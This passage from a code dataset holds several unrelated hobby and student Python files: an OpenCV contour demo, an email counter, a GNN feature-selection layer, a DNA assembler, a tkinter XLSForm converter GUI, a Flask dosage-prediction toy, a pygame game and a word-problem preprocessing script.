[[200, 200]],\n \n [[200, 100]],\n\n [[ 190, 110]]\n ]\n )\n )\nprint(len(cont[0]))\nprint(cont[0]) \ncv2.imshow('img', img)\n\ncv2.imshow('mask img', img_mask)\ncv2.drawContours( img, cont, -1, (0,255,255), 2 )\nfor i in range(len(cont[0])):\n cv2.circle(img, (cont[0][i][0][0],cont[0][i][0][1]),2, (0,0,255), -1 )\ncv2.imshow('imgcont', img)\n\n\ncv2.waitKey(0)\n\ncv2.destroyAllWindows()\n","repo_name":"i-sergh/pongAR","sub_path":"other/contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"6646471920","text":"# ECX 30 DAYS OF CODE AND DESIGN\n# Day 12\n\n\"\"\"\n**Student or Professor.**\n\nTask: \\n\nAt a certain school, student email addresses end with @student.college.edu, while professor email addresses end with\n@prof.college.edu. Write a program that first asks the user how many email addresses they will be entering,\nand then has the user enter those addresses. After all the email addresses are entered,\nthe program should print out a message indicating exactly how many student and professor emails were entered.\n\"\"\"\n\n# Using endswith() method\n\nprint(' Registration Form '.center(40, '*'))\nprint('Enter the email addresses of your fellow student member(s) and professor(s)')\n\nstudent_email = 0\nprof_email = 0\n\ntry:\n num_of_emails = int(input('How many emails are you entering: '))\n\n for i in range(num_of_emails):\n user_input = input('Email ' + str(i + 1) + ' : ')\n\n if user_input.endswith('@student.college.edu'):\n student_email = student_email + 1\n elif user_input.endswith('@prof.college.edu'):\n prof_email = prof_email + 1\n\n print('\\nNumber of emails entered: ', num_of_emails)\n print('You inputted ' + str(prof_email) + ' professor(s) emails')\n print('You inputted ' + str(student_email) + ' student(s) emails')\n\nexcept ValueError:\n print('Invalid input. Enter an integer.')\n","repo_name":"favour-olumese/ECX_30DaysOfCode","sub_path":"day12_student_or_professor_using_endswiths_method.py","file_name":"day12_student_or_professor_using_endswiths_method.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13160694427","text":"from scipy.stats import norm\r\nimport torch\r\nfrom torch import nn\r\nimport numpy as np\r\nimport torch.distributions as dist\r\n\r\n\r\ndef loss_func(results, labels, lamda, sigma, model,fs:bool, args):\r\n if args is not None and args.dataset == 'yelp':\r\n loss_gcn = torch.nn.BCEWithLogitsLoss(reduction='sum')\r\n else:\r\n loss_gcn = torch.nn.CrossEntropyLoss(reduction='sum')\r\n\r\n if fs:\r\n loss_new = 0\r\n # 创建正态分布对象\r\n normal_dist = dist.Normal(0, 1)\r\n\r\n for mu_i in list(model.parameters())[0]: # 获取新加层的参数\r\n loss_new += normal_dist.cdf(mu_i / sigma)\r\n\r\n loss_fs = lamda * loss_new\r\n else:\r\n loss_fs = 0\r\n \r\n return loss_gcn(results, labels) + loss_fs\r\n\r\n\r\nclass FSLayer(nn.Module):\r\n def __init__(self, dim, sigma, mu):\r\n # dim为这一层的维度，输入维度输出维度一样,sigma是可调参数\r\n # mu是训练参数初始值，用feature_importance_gini函数算\r\n super(FSLayer, self).__init__()\r\n self.mu = nn.Parameter(torch.Tensor(dim))\r\n self.sigma = sigma\r\n self.dim = dim\r\n self.reset_parameters(mu)\r\n self.run_time = 0\r\n\r\n def reset_parameters(self, mu): # 初始化训练参数\r\n with torch.no_grad():\r\n self.mu.data = mu\r\n\r\n def forward(self, h):\r\n rou = torch.normal(0, self.sigma, size=(self.dim,),device=h.device)\r\n s = torch.clamp(self.mu + rou, 0, 1)\r\n return s * h\r\n\r\n # def forward(self, h):\r\n # rou = np.random.normal(0, self.sigma, self.dim)\r\n # s = np.clip(self.mu + rou, 0, 1)\r\n # return s * h\r\n\r\n\r\n# def gini_impurity(labels):\r\n# unique_labels, counts = np.unique(labels, return_counts=True)\r\n# probabilities = counts / len(labels)\r\n# gini = 1 - np.sum(probabilities ** 2)\r\n# return gini\r\n\r\n\r\ndef gini_impurity(labels):\r\n # 没有定义新的Tensor，所以不需要考虑labels的device\r\n unique_labels, counts = torch.unique(labels, return_counts=True)\r\n probabilities = counts.float() / len(labels)\r\n gini = 1 - torch.sum(probabilities ** 2)\r\n return gini\r\n\r\n\r\n# def feature_importance_gini(X, y):\r\n# # 使用训练数据集生成\r\n# # X是节点特征矩阵，y是label，函数的结果是FSLayer中的mu，也就是训练参数的初始值\r\n# n_features = X.shape[1]\r\n# importance = np.zeros(n_features)\r\n# mu = np.zeros(n_features)\r\n\r\n# for i in range(n_features):\r\n# # 获取第i个特征的取值\r\n# feature_values = X[:, i]\r\n# unique_values = np.unique(feature_values)\r\n\r\n# # 计算每个取值的Gini impurity\r\n# impurities = []\r\n# for value in unique_values:\r\n# mask = feature_values == value\r\n# impurity = gini_impurity(y[mask])\r\n# weight = len(y[mask]) / len(y)\r\n# impurities.append(impurity * weight)\r\n\r\n# # 计算特征重要性\r\n# importance[i] = np.sum(impurities)\r\n# mu[i] = 1 / importance[i]\r\n\r\n# proportion = 1 / np.max(mu)\r\n# mu = mu * proportion\r\n\r\n# return torch.Tensor(mu)\r\n\r\n\r\ndef feature_importance_gini(X, y):\r\n # 定义了新的Tensor，importance、mu，但没有和X、y直接运算\r\n n_features = X.shape[1]\r\n importance = torch.zeros(n_features, device=X.device)\r\n mu = torch.zeros(n_features, device=X.device)\r\n\r\n for i in range(n_features):\r\n feature_values = X[:, i]\r\n unique_values = torch.unique(feature_values)\r\n\r\n impurities = []\r\n for value in unique_values:\r\n mask = feature_values == value\r\n impurity = gini_impurity(y[mask])\r\n weight = len(y[mask]) / len(y)\r\n impurities.append(impurity * weight)\r\n\r\n importance[i] = torch.sum(torch.tensor(impurities, device=X.device))\r\n mu[i] = 1 / importance[i]\r\n\r\n proportion = 1 / torch.max(mu)\r\n mu = mu * proportion\r\n\r\n return mu\r\n","repo_name":"whr819987540/fs_gnn","sub_path":"new_layer.py","file_name":"new_layer.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9671024595","text":"#5. Write a Python Program to Make a Simple Calculator with 4 basic mathematical operations?\r\n\r\nimport logging\r\nlogging.basicConfig(filename= \"Programming Assignment_5.5.log\", level= logging.DEBUG)\r\n\r\nclass MathematicalOperation:\r\n\r\n def sum(self, *a):\r\n print(a)\r\n\r\n b = 0\r\n for i in a:\r\n b = i+b\r\n return b\r\n\r\n def subs(self, a, b):\r\n c = a-b\r\n return c\r\n\r\n def division(self, a, b):\r\n c = a/b\r\n return c\r\n\r\n def multiplication(self,a, b):\r\n c = a*b\r\n return c\r\n\r\ncalculator = MathematicalOperation()\r\nsum = calculator.sum(5,3,4,5,7)\r\nprint(sum)\r\nlogging.info(sum)\r\n\r\nminus = calculator.subs(10, 20)\r\nprint(minus)\r\nlogging.info(minus)\r\n\r\nmulti = calculator.multiplication(10, 20)\r\nprint(multi)\r\nlogging.info(multi)\r\n\r\ndiv = calculator.division(10, 20)\r\nprint(div)\r\nlogging.info(div)\r\n\r\n","repo_name":"nit0511/iNeuron","sub_path":"Programming Assignment_5/Programming Assignment_5.5.py","file_name":"Programming Assignment_5.5.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"31491207156","text":"#! /usr/bin/env python2\n\"\"\"\n--- assemble.py ---\n\nUsage: python assemble.py \n\nReceives DNA read data as input in FASTA or FASTQ format\nand a k-mer size, and prints the assembled sequences\nto stdout in FASTA format.\n\nExample:\n\n$ python assemble.py sample.fasta 18 > assembled.fasta\n\"\"\"\nfrom __future__ import print_function\nfrom euler import find_eulerian_path\nimport sys\nimport screed\nimport networkx as nx\n\nif len(sys.argv) != 3:\n print(__doc__)\n sys.exit(1)\n\n# input file containing reads\n# input may be in FASTA or FASTQ format\ninfilename = sys.argv[1]\n\n# kmer size to use in building De Bruijn Graph\nk = int(sys.argv[2])\n\n# De Bruijn Graph of k-mers\n# using a NetworkX DiGraph\nDG = nx.DiGraph()\n\n# iterate over reads in input file using screed\nfor record in screed.open(infilename):\n seq = record.sequence # get current read\n\n # iterate over all k-mers in seq,\n # and add them to the graph\n for i in xrange(len(seq)-k-1):\n kmer_a = seq[i:i+k]\n kmer_b = seq[i+1:i+k+1]\n DG.add_edge(kmer_a, kmer_b)\n\n\n# function for printing sequence\n# with 60 bases per row\ndef print_seq(a, seq):\n i = 0\n for base in a:\n print(base, end='')\n if (i+1) % 60 == 0:\n print()\n i += 1\n\n for base in seq:\n print(base, end='')\n if (i+1) % 60 == 0:\n print()\n i += 1\n print()\n\n# generator for weakly connected component subgraphs of DG\n# each represents a possible contig in the original sequence\nwc_subgraphs = nx.weakly_connected_component_subgraphs(DG)\n\nfor i, subgraph in enumerate(wc_subgraphs):\n\n # try block will throw if subgraph\n # does not contain an eulerian path\n try:\n path = find_eulerian_path(subgraph)\n\n # find first two vertices in path\n a, b = path.next()\n first = a + b[-1]\n\n # get rest of path using a generator expression\n subseq = (c[-1] for _, c in path)\n\n # print sequence in fasta format\n print(\">{}\".format(i))\n print_seq(first, subseq)\n\n except nx.NetworkXError:\n # subgraph does not contain an eulerian path\n # so do nothing\n pass\n","repo_name":"rlopez93/seq-assembly-2","sub_path":"assemble.py","file_name":"assemble.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27271336820","text":"#!/home/noische/python\n\n# system modules\nimport sys\nimport os\nimport string\nimport getopt\nimport random\n\n# bgf modules\nsys.path.append(\"/home/noische/script\")\nimport nutils as nu\nimport bgftools\n\noption = \"\"; args = \"\"; bgf_file = \"\"; trj_file = \"\"; out_file = \"\"; timestep = 0;\nusage = \"\"\"\ncountMoleculesBGF.py: counts the number of molecules in the BGF file.\n\nUsage: countMoleculesBGF.py -b bgf_file \n\"\"\"\nversion = \"111007\"\n\n\"\"\"\n* Updates\n- 111007: Counts the number of water molecules\n\"\"\"\n\ndef countMoleculeNum(bgf_file, silent=True):\n\n\tn_water = 0;\n\n\tl_molecule = bgftools.getMoleculeList(bgf_file)\n\tnatom = len(nu.flatten(l_molecule))\n\tnmol = len(l_molecule)\n\tl_molecule_atoms = [];\n\tfor cluster in l_molecule:\n\t\tl_molecule_atoms.append(len(cluster))\n\t\tif len(cluster) == 3:\n\t\t\tn_water += 1\n\n\tif not silent: print(str(nmol) + \" Molecules (\" + str(natom) + \" atoms) exists in the BGF file.\")\n\tif not silent: print(\"Number of water molecules (i.e. natoms = 3): \" + str(n_water))\n\t#if not silent: print(\"Size of molecules: \" + str(l_molecule_atoms))\n\n\treturn nmol\n\n\t### end of countMoleculeNum\n\n\nif __name__ == '__main__':\n\n\tif len(sys.argv) < 2:\n\t\tprint(usage);\n\t\tsys.exit(0)\n\n\toptions, args = getopt.getopt(sys.argv[1:], 'hb:', ['help','bgf='])\n\tfor option, value in options:\n\t\tif option in ('-h', '--help'):\n\t\t\tprint(usage)\n\t\t\tsys.exit(0);\n\t\telif option in ('-b', '--bgf'):\n\t\t\tbgf_file = value\n\t\telif option == NULL:\n\t\t\tprint(usage)\n\t\t\tsys.exit(0)\n\n\t# main call\n\tprint(sys.argv[0] + \" version \" + str(version))\n\tcountMoleculeNum(bgf_file, silent=False)\n\n","repo_name":"hopefulp/sandbox","sub_path":"pylmp/InKim/BGF_countMolecules.py","file_name":"BGF_countMolecules.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"869777767","text":"\"\"\"\nFire up the GUI for XLSForm conversion.\n\nUnder the hood, ``convert`` does the dirty work. The code here presents the\nknobs and whistles for setting options and choosing files.\n\nCreated: 11 May 2016\nLast edited: 10 November 2016\nE-mail: jflack@jhu.edu\n\"\"\"\nimport sys\nimport traceback\nimport io\nfrom tkinter import Frame, Tk, Label, Button, W, BOTTOM, SUNKEN, X, Text, \\\n DISABLED, WORD, END, NORMAL, Menu, Checkbutton, BooleanVar\nimport tkinter.filedialog\n\nfrom qtools3.errors import ConvertError\nfrom qtools3.gui_config import config\nfrom qtools3.convert import xlsform_convert\nfrom qtools3.constants import SUFFIX, PREEXISTING, PMA, CHECK_VERSIONING, \\\n STRICT_LINKING, VALIDATE, EXTRAS, DEBUG\n\n\nclass PmaConvert:\n def __init__(self, config):\n root = Tk()\n\n # Root Definition\n root.geometry('1100x700')\n root.title('PMA Convert')\n\n # Configuration and Variables\n self.file_selection = ''\n self.is_converting = False\n self.options = config['option_definitions']\n gui_config = config['gui_config']\n\n # UI\n ## Frames\n self.main_frame = Frame(root)\n self.position_main_frame(gui_config['screen_orientation'])\n\n ## Components\n self.log = Text(self.main_frame, bd=1, relief=SUNKEN, width=140,\n height=23, state=DISABLED, spacing3=1, wrap=WORD)\n\n choose_text = ('1. Choose XLSForm (.xls or .xlsx) file(s) for '\n 'conversion.')\n self.choose_files_label = Label(self.main_frame, text=choose_text)\n # TODO: Get spacing to work.\n # self.choose_files_label.grid(row=3, column=3, padx=(50, 50))\n # self.choose_files_label.grid(row=3, column=3, pady=(50, 50))\n self.choose_files_label.pack()\n self.choose_files_button = Button(self.main_frame,\n text='Choose file...', fg='black',\n command=self.on_open)\n self.choose_files_button.pack()\n\n out_text = 'Choose location for output file(s).'\n self.output_location_label = Label(self.main_frame, text=out_text)\n self.output_location_button = Button(self.main_frame,\n text='Choose location...',\n fg='black')\n if gui_config['output_location_on'] is True:\n self.output_location_label.pack()\n self.output_location_button.pack()\n\n self.choose_options_label = Label(self.main_frame,\n text='2. Choose conversion options.')\n self.choose_options_label.pack()\n\n ### Create Options Checkboxes\n # Task: Dynamically generate: http://stackoverflow.com/questions/...\n # ...553784/can-you-use-a-string-to-instantiate-a-class-in-python\n self.preexisting = BooleanVar()\n pre_text = self.options['preexisting']['label']\n self.preexisting_opt = Checkbutton(self.main_frame, text=pre_text,\n variable=self.preexisting)\n self.preexisting_opt.pack()\n self.regular = BooleanVar()\n reg_text = self.options['regular']['label']\n self.regular_opt = Checkbutton(self.main_frame, text=reg_text,\n variable=self.regular)\n self.regular_opt.pack()\n self.novalidate = BooleanVar()\n noval_text = self.options['novalidate']['label']\n self.novalidate_opt = Checkbutton(self.main_frame, text=noval_text,\n variable=self.novalidate)\n self.novalidate_opt.pack()\n self.ignore_version = BooleanVar()\n ig_text = self.options['ignore_version']['label']\n self.ignore_version_opt = Checkbutton(self.main_frame, text=ig_text,\n variable=self.ignore_version)\n self.ignore_version_opt.pack()\n self.linking_warn = BooleanVar()\n link_text = self.options['linking_warn']['label']\n self.linking_warn_option = Checkbutton(self.main_frame, text=link_text,\n variable=self.linking_warn)\n self.linking_warn_option.pack()\n self.debug = BooleanVar()\n debug_text = self.options['debug']['label']\n self.debug_option = Checkbutton(self.main_frame, text=debug_text,\n variable=self.debug)\n self.debug_option.pack()\n self.extras = BooleanVar()\n extras_text = self.options['extras']['label']\n self.extras_option = Checkbutton(self.main_frame, text=extras_text,\n variable=self.extras)\n self.extras_option.pack()\n\n self.convert_label = Label(self.main_frame, text='3. Run conversion.')\n self.convert_label.pack()\n\n # Task: Add xscrollcommand and yscrollcommand.\n self.convert_button = Button(self.main_frame, text='Convert',\n fg='black', command=self.convert)\n self.convert_button.pack()\n self.log.pack(fill=X, expand=1)\n self.log_text('PMA Convert allows you to convert .xls or .xlsx form '\n 'definition files to files which are compatible with ODK '\n 'Collect.\\n\\nIf you need to copy and paste from this '\n 'log, highlight the text and press CTRL+C to copy. Then '\n 'press CTRL+V to paste.\\n\\n'\n '====================================================\\n\\n'\n 'Awaiting file selection.')\n\n # Task: Fix menus. They're not working.\n self.context_menu = Menu(self.main_frame, tearoff=0)\n self.context_menu.add_command(label=\"Convert\", command=self.convert)\n self.main_frame.bind(\"\", self.popup)\n\n # - Note: Strangely this stopped anchoring to bottom suddenly, for some\n # reason. So it is temporarily disabled.\n self.status_bar = Label(self.main_frame,\n text='Awaiting file selection.',\n bd=1, relief=SUNKEN, anchor=W)\n if gui_config['status_bar_on'] is True:\n self.status_bar.pack(side=BOTTOM, fill=X)\n\n # Run\n root.mainloop()\n\n # Functions\n def popup(self, event):\n # Note: Currently doesn't work.\n self.context_menu.post(event.x_root, event.y_root)\n # display the popup menu\n try:\n self.context_menu.tk_popup(event.x_root, event.y_root, 0)\n finally:\n # make sure to release the grab (Tk 8.0a1 only)\n self.context_menu.grab_release()\n\n def position_main_frame(self, orientation):\n if orientation == 'center':\n x, y, a = .5, .5, 'c'\n return self.main_frame.place(relx=x, rely=y, anchor=a)\n elif orientation == 'top':\n return self.main_frame.pack()\n else:\n return self.main_frame.pack()\n\n def on_open(self):\n file_types = [\n ('XLS Files', '*.xls'),\n ('XLSX Files', '*.xlsx'),\n ('All files', '*')\n ]\n try:\n self.file_selection = tkinter.filedialog.askopenfilename(\n filetypes=file_types, title='Open one or more files.',\n message='Open one or more files', multiple=1\n )\n except:\n self.file_selection = tkinter.filedialog.askopenfilename(\n filetypes=file_types, title='Open one or more files.', multiple=1\n )\n if self.file_selection != '':\n self.set_status('Click on Convert to convert files.')\n log_output = 'Ready for conversion: \\n'\n for file in self.file_selection:\n log_output += '* ' + str(file) + '\\n'\n log_output = log_output[:-1] # Removes the last '\\n'.\n self.log.configure(self.log_text(log_output))\n\n def set_status(self, new_status):\n self.status_bar.configure(text=new_status)\n\n def log_text(self, new_text):\n self.log.configure(state=NORMAL)\n self.log.insert(END, str(new_text) + '\\n\\n')\n self.log.configure(state=DISABLED)\n self.log.bind(\"<1>\", lambda event: self.log.focus_set())\n\n def convert(self):\n if self.file_selection != '':\n f = self.file_selection\n\n kwargs = {\n SUFFIX: '',\n PREEXISTING: self.preexisting.get(),\n PMA: not self.regular.get(),\n CHECK_VERSIONING: not self.ignore_version.get(),\n STRICT_LINKING: not self.linking_warn.get(),\n VALIDATE: not self.novalidate.get(),\n EXTRAS: self.extras.get(),\n DEBUG: self.debug.get()\n }\n\n buffer = io.StringIO()\n if not kwargs[DEBUG]:\n sys.stdout = buffer\n sys.stderr = buffer\n else:\n self.log_text('--> DEBUG MODE: check console output')\n\n try:\n xlsform_convert(f, **kwargs)\n except ConvertError as e:\n print(str(e))\n except OSError as e:\n # Should catch WindowsError, impossible to test on Mac\n traceback.print_exc()\n print(e)\n\n if not kwargs[DEBUG]:\n sys.stdout = sys.__stdout__\n sys.stderr = sys.__stderr__\n\n self.log_text(buffer.getvalue())\n\n\ndef run_gui():\n PmaConvert(config)\n\n\nif __name__ == '__main__':\n run_gui()\n\n\n# Tasks\n# UI\n# TODO: Fix positioning issues (fill, anchor, expand, etc), or use grid instead.\n# Window\n# TODO: Need to reset window as well after log gives its feedback.\n# - Medium Priority\n# Misc\n# TODO: Position window in middle of screen on load.\n# TODO: Have in focus in front on load.\n# TODO: Add a cancel button that dynamically appears if conversion is in-process.\n# TODO: Add an error alert / message when buttons are clicked, but have been disabled.\n# TODO: Fix graphical issue with a minus ('-') showing for a moment when clicking a checkbox.\n# - Low Prioirity\n# Dependency Management for Standalone\n# TODO: Alert on load if dependencies do not exist (try/except, perhaps)\n# TODO: Make installers.\n# TODO: Make standalone .app and .exe files.\n# Subprocess\n# TODO: May be able to try multiple versions of python by checking the return code. And only return log text if conversion was successful.\n\n# Optional Future Development\n# - Change the way PMA Convert is used as a submodule. http://stackoverflow.com/questions/4161022/git-how-to-track-untracked-content\n","repo_name":"jkpr/qtools3","sub_path":"qtools3/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":10702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32430861815","text":"from flask import Flask, render_template, request\r\nimport jsonify\r\nimport requests\r\nimport pickle\r\nimport numpy as np\r\nimport sklearn\r\nfrom sklearn.preprocessing import StandardScaler\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('random_forest_medical.pkl', 'rb'))\r\n@app.route('/',methods=['GET'])\r\ndef Home():\r\n return render_template('index.html')\r\n\r\n\r\nstandard_to = StandardScaler()\r\n@app.route(\"/predict\", methods=['POST'])\r\ndef predict():\r\n \r\n if request.method == 'POST':\r\n age = int(request.form['age'])\r\n height = float(request.form['height'])\r\n weight = int(request.form['weight'])\r\n gender=request.form['gender']\r\n if(gender=='male'):\r\n gender=1\r\n else:\r\n gender=0\r\n renal_problem=request.form['renal_problem']\r\n if(renal_problem=='yes'):\r\n renal_problem=1\r\n else:\r\n renal_problem=0\r\n hepatic_problem=request.form['hepatic_problem']\r\n if(hepatic_problem=='yes'):\r\n hepatic_problem=1\r\n else:\r\n hepatic_problem=0 \r\n plasma_conc = int(request.form['plasma_conc']) \r\n \r\n prediction=model.predict([[age,height,weight,gender,renal_problem,hepatic_problem,plasma_conc]])\r\n output=round(prediction[0],2)\r\n if output<0:\r\n return render_template('index.html',prediction_texts=\"Sorry you cannot predict this dosage\")\r\n else:\r\n return render_template('index.html',prediction_text=\"Your prescription as per Analysis is {}\".format(output))\r\n else:\r\n return render_template('index.html')\r\n\r\nif __name__==\"__main__\":\r\n app.run(debug=True)\r\n\r\n","repo_name":"PoornimaLeela/sampleprediction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74242640463","text":"# Escribe tu código aquí :-)\n# Iniciamos el Pygame\n\nimport pygame\nimport math\nimport random\n\npygame.init()\n\n# Creamos la pantalla\n# ancho alto\nscreen = pygame.display.set_mode((800, 600))\n\n# 0,0 en la parte superior izquierda de la pantalla\n\n# Fondo de pantalla\n\nfondo = pygame.image.load('fondo.png')\n\n# Titulo e ícono\npygame.display.set_caption(\"Element's table\")\n# Añadimos el ícono a la carpeta\n# Seleccionamos el icono en la variable\nicon = pygame.image.load('teacher.png')\n# Desplegamos la seleccion anterior\npygame.display.set_icon(icon)\n\n# Jugador\n\njugadorImag = pygame.image.load('Yo.png')\njugadorX = 470\njugadorY = 500\njugadorX_change = 0\n\n# Tablas\n\ntablaImag = pygame.image.load('excel.png')\ntablaX = 0\ntablaY = 480\ntablaX_change = 0\ntablaY_change = 5\ntabla_estado = \"listo\"\n\n\n# Añadimos a Luchos\n\nLuchoImag = []\nLuchoX = []\nLuchoY = []\nLuchoX_change = []\nLuchoY_change = []\nnumero_de_luchos = 6\n\n\nfor counter in range(numero_de_luchos):\n LuchoImag.append(pygame.image.load('Lucho.png'))\n LuchoX.append(random.randint(0,735))\n LuchoY.append(random.randint(30,100))\n LuchoX_change.append(3)\n LuchoY_change.append(40)\n\n# Puntuación\n\npuntaje_valor = 0\n\nfont = pygame.font.Font('freesansbold.ttf', 32)\n\npuntosX = 10\npuntosY = 10\n\ndef mostrar_puntaje(x,y):\n puntaje = font.render(\"La nota de Lucho es: \" + str(puntaje_valor), True, (255,255,255))\n screen.blit(puntaje, (x,y))\n\ndef jugador(x,y):\n screen.blit(jugadorImag, (x, y))\n\ndef Lucho(x,y, counter):\n screen.blit(LuchoImag[counter], (x, y))\n\ndef mandar_excel(x,y):\n global tabla_estado\n tabla_estado = \"disparar\"\n screen.blit(tablaImag, (x , y + 10))\n\n\n# Impacto\n\ndef yaLlego(LuchoX, LuchoY, tablaX, tablaY):\n # Sabemos que: Distancia entre 2 puntos == D = raíz((x2-x1)^2 - (y2-y1)^2)\n # Ese análisis se aplicar con la librería de métodos matemáticos\n distancia = math.sqrt((math.pow(LuchoX - tablaX,2)) + (math.pow (LuchoY - tablaY, 2)))\n if distancia < 27:\n return True\n else:\n return False\n# Bucle del juego\nrunning = True\nwhile running:\n\n # Color fondo R G B\n screen.fill((255,243,170))\n\n # Imagen de fondo\n\n screen.blit(fondo, (0,0))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n # Vemos si las flechas se precionan <- o ->\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n # print(\"izquierda presionada\")\n jugadorX_change = -3\n if event.key == pygame.K_RIGHT:\n # print(\"derecha presionada\")\n jugadorX_change = +3\n if event.key == pygame.K_SPACE:\n if tabla_estado is \"listo\":\n tablaX = jugadorX\n mandar_excel(jugadorX, tablaY)\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n # print(\"Tecla soltada\")\n jugadorX_change = 0\n\n# Mi movimiento\n jugadorX += jugadorX_change\n\n if jugadorX <= 0:\n jugadorX = 0\n elif jugadorX >= 743:\n jugadorX = 743\n\n# Movimiento de Lucho\n for counter in range(numero_de_luchos):\n LuchoX[counter] += LuchoX_change[counter]\n if LuchoX[counter] <= 0:\n LuchoX_change[counter] = 2\n LuchoY[counter] += LuchoY_change[counter]\n elif LuchoX[counter] >= 743:\n LuchoX_change[counter] = -2\n LuchoY[counter] += LuchoY_change[counter]\n # Impacto\n\n yaLlegoTabla = yaLlego(LuchoX[counter], LuchoY[counter], tablaX, tablaY)\n\n if yaLlegoTabla: # Si ya llego la bala\n tablaY = 480\n tabla_estado = \"listo\"\n puntaje_valor += 1\n LuchoX[counter] = random.randint(0,730)\n LuchoY[counter] = random.randint(30,100)\n\n Lucho(LuchoX[counter], LuchoY[counter], counter)\n\n# Movimiento del Excel\n if tablaY <= 0:\n tablaY = 480\n tabla_estado = \"listo\"\n if tabla_estado is \"disparar\":\n mandar_excel(tablaX, tablaY)\n tablaY -= tablaY_change\n\n\n jugador(jugadorX,jugadorY)\n mostrar_puntaje(puntosX, puntosY)\n pygame.display.update()\n","repo_name":"FranciscoMotta/Juego-Elementos","sub_path":"TABLE.py","file_name":"TABLE.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"7173894986","text":"from __future__ import absolute_import\n\nimport os\nimport sys\nimport yaml\nimport json\nimport pickle\nimport re\nimport random\nimport time\nfrom word2number import w2n\n\nfrom classes.EquationConverter import EquationConverter\nfrom utils import to_binary\n\nDIR_PATH = os.path.abspath(os.path.dirname(__file__))\n\nUSE_GENERATED = False\n\ntry:\n TEST_SPLIT = int(sys.argv[2])\nexcept:\n TEST_SPLIT = 0.05\n\n# i.e. \"plus\" instead of '+'\nWORDS_FOR_OPERATORS = False\n\n# Composite list of MWPs\nPROBLEM_LIST = []\n\n# The same list with all equations converted from infix to cleaned infix\nCLEAN_INFIX_CONVERTED_PROBLEM_LIST = []\n\n# The same list with all equations converted from infix to Polish notation\nPOLISH_CONVERTED_PROBLEM_LIST = []\n\n# The same list with all equations converted from infix to Reverse Polish notation\nREVERSE_POLISH_CONVERTED_PROBLEM_LIST = []\n\n# The generated data (not used in testing)\nGENERATED = []\n\n# Dataset specific\nAI2 = []\nILLINOIS = []\nCOMMONCORE = []\nMAWPS = []\n\nKEEP_INFIX_PARENTHESIS = True\nMAKE_IND_SETS = True\n\n# Large test sets\nPREFIX_TEST = []\nPOSTFIX_TEST = []\nINFIX_TEST = []\n\n# The file containing the set info\nDATA_STATS = os.path.join(DIR_PATH,\n \"../DATA.md\")\n\nwith open(os.path.join(DIR_PATH, f\"../../{sys.argv[1]}\"), 'r', encoding='utf-8-sig') as yaml_file:\n settings = yaml.load(yaml_file, Loader=yaml.FullLoader)\n\n# Random seed for shuffling the data\nSEED = settings[\"seed\"]\nrandom.seed(SEED)\n\n\ndef one_sentence_clean(text):\n # Clean up the data and separate everything by spaces\n text = re.sub(r\"(? Retrieved {len(problem_list)} / {total_problems} problems.\")\n\n print(\"...done.\\n\")\n\n return \"AI2\"\n\n\ndef transform_CommonCore():\n print(\"\\nWorking on CommonCore data...\")\n\n problem_list = []\n\n with open(os.path.join(DIR_PATH, \"../datasets/CommonCore/questions.json\"), encoding='utf-8-sig') as fh:\n json_data = json.load(fh)\n\n for i in range(len(json_data)):\n # A MWP\n problem = []\n\n has_all_data = True\n\n data = json_data[i]\n if \"sQuestion\" in data and \"lEquations\" in data and \"lSolutions\" in data:\n for key, value in data.items():\n if key == \"sQuestion\" or key == \"lEquations\" or key == \"lSolutions\":\n if len(value) == 0 or (len(value) > 1 and (key == \"lEquations\" or key == \"lSolutions\")):\n has_all_data = False\n\n if key == \"sQuestion\":\n desired_key = \"question\"\n\n value = one_sentence_clean(value)\n value = remove_point_zero(value)\n\n problem.append((desired_key,\n to_lower_case(value)))\n elif key == \"lEquations\":\n desired_key = \"equation\"\n\n value = value[0]\n\n value = remove_point_zero(value)\n\n problem.append((desired_key,\n to_lower_case(value)))\n elif key == \"lSolutions\":\n desired_key = \"answer\"\n\n problem.append((desired_key,\n to_lower_case(value[0])))\n else:\n problem.append((desired_key,\n to_lower_case(value)))\n\n if has_all_data == True and problem != []:\n problem_list.append(problem)\n COMMONCORE.append(problem)\n\n print(f\"-> Retrieved {len(problem_list)} / {len(json_data)} problems.\")\n\n print(\"...done.\\n\")\n\n return \"CommonCore\"\n\n\ndef transform_Illinois():\n print(\"\\nWorking on Illinois data...\")\n\n problem_list = []\n\n with open(os.path.join(DIR_PATH, \"../datasets/Illinois/questions.json\"), encoding='utf-8-sig') as fh:\n json_data = json.load(fh)\n\n for i in range(len(json_data)):\n # A MWP\n problem = []\n\n has_all_data = True\n\n data = json_data[i]\n if \"sQuestion\" in data and \"lEquations\" in data and \"lSolutions\" in data:\n for key, value in data.items():\n if key == \"sQuestion\" or key == \"lEquations\" or key == \"lSolutions\":\n if len(value) == 0 or (len(value) > 1 and (key == \"lEquations\" or key == \"lSolutions\")):\n has_all_data = False\n\n if key == \"sQuestion\":\n desired_key = \"question\"\n\n value = one_sentence_clean(value)\n value = remove_point_zero(value)\n\n 